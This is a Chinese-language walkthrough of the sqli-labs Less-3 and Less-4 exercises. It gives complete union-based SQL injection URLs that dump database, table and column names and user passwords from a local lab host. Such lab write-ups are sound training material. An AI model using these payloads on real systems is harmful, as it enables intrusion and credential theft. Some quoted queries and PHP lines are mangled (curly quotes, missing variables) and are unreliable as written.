Less-3 Error based – Single quotes with twist – string(基于错误-带括号的单引号-字符串)
标题已经很明确了,但是测试测试,必须试一试。
?id=1
?id=1’
看见报错多的一个括号
?id=1"
?id=1’)
报错的时候,查询语句为:
Select login_name,select password from table where id=(‘1’)
这时候就要用到源码来看看了,git bash连接到主机,直接查看源码
这很对,注入点正确。
那么继续爆数据库
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(schema_name),3 from information_schema.schemata --+
爆表
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pikachu’ --+
爆字段
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘pikachu’ --+
爆数据
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,group_concat(username),group_concat(password) from users --+
还有多说一种,爆当前(也就是sqli-labs)的数据库的信息
http://192.168.229.144/sqli-labs/Less-3/?id=-1’) union select 1,2,concat_ws(’-’,user(),version(),database()) --+
Less-4 Error based – Double Quotes – String (基于错误-双引号-字符串)
同样,还是尝试将?id=1 ?id=1’ ?id=1" 分别添加到url,发现?id=1"报错,说明是字符型注入
还是查看源码
id = ‘"’.$id.’"’;
sql=“SELECT * FROM users WHERE id=(id) LIMIT 0,1”;
这样形成的语句就是:select * from users where id=(“id”) limit 0,1"
那么?id=1"),这样即闭合了前面,又闭合了后面
注入成功,猜字段数,爆数据库,爆表名,爆字段,爆数据与Less-3相同,只需要将?id=1’)变为?id=1")注入。
小总结:
从Less-1到Less-4都是基于错误的sql注入,切入点都是闭合问题,且都是通过回显进行注入。
Less-1: $sql="SELECT * FROM users WHERE id=‘id’ LIMIT 0,1”;
Less-2: $sql=“SELECT * FROM users WHERE id=id LIMIT 0,1”;
Less-3: $sql=“SELECT * FROM users WHERE id=(‘id’) LIMIT 0,1”;
Less-4: $id = '”’ . $id . '”’;sql=“SELECT * FROM users WHERE id=(id) LIMIT 0,1”;